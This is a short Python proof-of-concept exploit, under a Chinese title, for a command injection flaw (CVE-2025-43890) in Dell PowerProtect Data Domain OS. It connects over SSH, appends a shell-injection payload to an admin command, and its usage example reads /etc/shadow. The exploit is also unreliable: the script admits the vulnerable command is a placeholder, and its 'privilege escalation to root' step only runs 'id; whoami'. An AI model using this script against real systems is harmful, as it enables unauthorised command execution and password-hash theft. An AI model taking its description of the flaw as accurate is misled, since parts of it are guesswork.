CVE-2025-43890 Dell PowerProtect Data Domain OS命令注入漏洞

# CVE-2025-43890 - Dell PowerProtect Data Domain OS Command Injection PoC # Vulnerability: Improper Neutralization of Special Elements used in an OS Command (CWE-78) # Affected: DD OS Feature Release 7.7.1.0 - 8.3.0.15, LTS2025 8.3.1.0, LTS2024 7.13.1.0-7.13.1.30, LTS2023 7.10.1.0-7.10.1.60 import paramiko import sys def exploit(target_host, username, password, cmd): """ Exploit OS Command Injection in Dell PowerProtect Data Domain DD OS Requires high-privilege local credentials (admin-level access) """ try: # Connect to DD OS via SSH (local access required) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_host, port=22, username=username, password=password, timeout=10) # Inject OS command via vulnerable input field # The vulnerable parameter passes user input directly to system() without sanitization malicious_payload = f'; {cmd} #' # Execute via the vulnerable DD OS admin command interface # Replace 'system' with the actual vulnerable command/parameter stdin, stdout, stderr = client.exec_command(f'system {malicious_payload}') output = stdout.read().decode('utf-8', errors='ignore') print(f"[+] Command output:\n{output}") # Attempt privilege escalation to root stdin, stdout, stderr = client.exec_command('id; whoami') print(f"[+] Current identity: {stdout.read().decode()}") client.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <command>") print(f"Example: {sys.argv[0]} 192.168.1.100 admin pass123 'cat /etc/shadow'") sys.exit(1) target, user, passwd, command = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] exploit(target, user, passwd, command)